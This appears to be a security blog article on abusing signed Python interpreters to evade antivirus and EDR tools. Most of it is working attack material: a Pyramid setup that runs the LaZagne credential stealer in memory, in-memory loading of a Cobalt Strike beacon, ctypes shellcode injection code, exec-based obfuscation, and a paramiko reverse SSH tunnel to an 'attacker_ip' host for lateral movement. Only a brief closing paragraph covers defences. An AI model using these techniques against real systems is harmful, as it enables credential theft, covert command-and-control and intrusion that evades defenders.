Dec 27th, 2024
@fkxdr

Exploiting Legitimate Interpreters

Security solutions like antivirus (AV), endpoint detection and response (EDR), and extended detection and response (XDR) play a critical role in defending against malicious activities. However, attackers continuously evolve their methods to exploit weaknesses in these systems. One such method involves using legitimate scripting language interpreters, such as Python, to bypass detection mechanisms. These interpreters, trusted for their signed binaries and widespread use in legitimate applications, become blind spots for many security tools. This article delves into two critical topics: bypassing security systems using interpreters and leveraging EDR blind spots to deploy malicious payloads.

Legitimate Interpreters

To begin with, scripting language interpreters like Python are often inherently trusted by security systems due to their signed binaries and legitimate use in development and administration. Python, for instance, provides embeddable or portable versions such as python.exe and pythonw.exe, which are signed binaries that don’t require installation. This makes it possible to use Python directly from memory, reducing the likelihood of triggering alerts. To exploit this capability, the standalone version of Python can be downloaded directly from the official Python website. For example, the Python 3.10.8 embeddable package can be retrieved and extracted for use as follows:

Invoke-WebRequest https://www.python.org/ftp/python/3.10.8/python-3.10.8-embed-amd64.zip -OutFile python-3.10.8-embed-amd64.zip
Expand-Archive -Path python-3.10.8-embed-amd64.zip -DestinationPath . -Force

This embeddable Python package includes two critical executables: python.exe, which provides a command-line interface for executing Python scripts, and pythonw.exe, which executes scripts headlessly, making it particularly useful for covert operations. By leveraging these interpreters, post-exploitation tools like LaZagne or Impacket can be executed directly from memory, avoiding static analysis that could flag these tools if written to disk.

One of the primary methods to achieve memory-only execution of Python scripts and dependencies is by using tools like Pyramid. Pyramid is a framework designed to serve Python dependencies over HTTPS, allowing them to be dynamically loaded into memory. This eliminates the need to write any dependencies or payloads to disk. Setting up Pyramid involves generating an SSL certificate and starting an HTTPS server with basic authentication, as shown below:

git clone https://github.com/naksyn/Pyramid
cd Pyramid/Server
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20"

Once Pyramid is set up, it becomes possible to dynamically load and execute Python modules such as LaZagne directly from memory. For instance, LaZagne, a tool designed to retrieve stored credentials from various applications, can be hosted on the Pyramid server and executed as follows:

python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle LaZagne.py

The generated script can then be executed on a target machine using the standalone Python interpreter. The script will dynamically load all dependencies from the Pyramid server, execute LaZagne in memory, and extract credentials without triggering alerts from AV or EDR systems. This approach is particularly effective against solutions like Kaspersky Endpoint Security, Microsoft Defender, and Symantec Endpoint Protection, as demonstrated in controlled experiments.

Another powerful capability is the injection of portable executables (PE) directly into memory using Python. Tools like PythonMemoryModule enable this by providing functions to load and execute PE files without writing them to disk. For example, a stageless Cobalt Strike beacon can be loaded into memory and executed using the following approach:

git clone https://github.com/naksyn/PythonMemoryModule
cd PythonMemoryModule
python3 pyramid.py -p 443 -ssl -u testuser -pass 12345 -enc "chacha20" -passenc "12345" -server "192.168.159.128" -generate -setcradle pythonmemorymodule.py

The generated Python script can be executed using python.exe or pythonw.exe on the target machine. This allows Cobalt Strike to establish a command-and-control (C2) connection without writing any executables to disk. The memory-only approach also bypasses runtime detection mechanisms that rely on scanning disk I/O or analyzing newly created files.

The use of interpreters also extends to launching tools from EDR blind spots. For example, by leveraging Python’s dynamic nature, it is possible to execute arbitrary shellcode or deploy reflective PE loaders. One method involves using Python’s ctypes library to allocate memory, copy shellcode, and execute it within the interpreter process. The following script demonstrates how this can be achieved:

import ctypes
shellcode = b"\x90\x90\x90..."  # Replace with actual shellcode
ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
thr = ctypes.windll.kernel32.CreateThread(None, 0, ptr, None, 0, None)
ctypes.windll.kernel32.WaitForSingleObject(thr, 0xFFFFFFFF)

This approach allows the execution of arbitrary payloads within the context of a signed and trusted process, making detection significantly more challenging.

To further enhance stealth, Python’s compile() and exec() functions can be used to obfuscate payloads. By dynamically generating and executing scripts at runtime, it becomes even harder for security solutions to perform behavioral analysis. An example of dynamic script execution is shown below:

payload_code = "print('Executing payload')"
compiled_code = compile(payload_code, '<string>', 'exec')
exec(compiled_code)

Another noteworthy example of using interpreters to bypass security systems involves the deployment of SOCKS proxies for lateral movement. By combining Python’s Paramiko library with a SOCKS5 server, it is possible to establish reverse SSH tunnels and route traffic through the compromised machine. The following script sets up a reverse SSH connection and deploys a SOCKS5 server:

import paramiko
from pproxy import pproxy
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('attacker_ip', username='user', password='pass')
channel = ssh.get_transport().open_channel("direct-tcpip", ('127.0.0.1', 8080), ('0.0.0.0', 0))
proxy = pproxy.Server(channel)
proxy.start()

This enables lateral movement within the target network while maintaining a low detection profile.

While these techniques are highly effective, they also highlight significant gaps in the capabilities of current AV, EDR, and XDR solutions. To counter these threats, several measures can be implemented. These include adopting runtime audit hooks (as proposed in Python PEP 578) to monitor and control interpreter activities, deploying behavioral analysis tools to detect anomalies within interpreter processes, and restricting access to standalone interpreters on sensitive systems. For example, enabling runtime audit hooks allows administrators to log and analyze events such as the use of exec() or eval() functions, providing valuable insights into potentially malicious activities.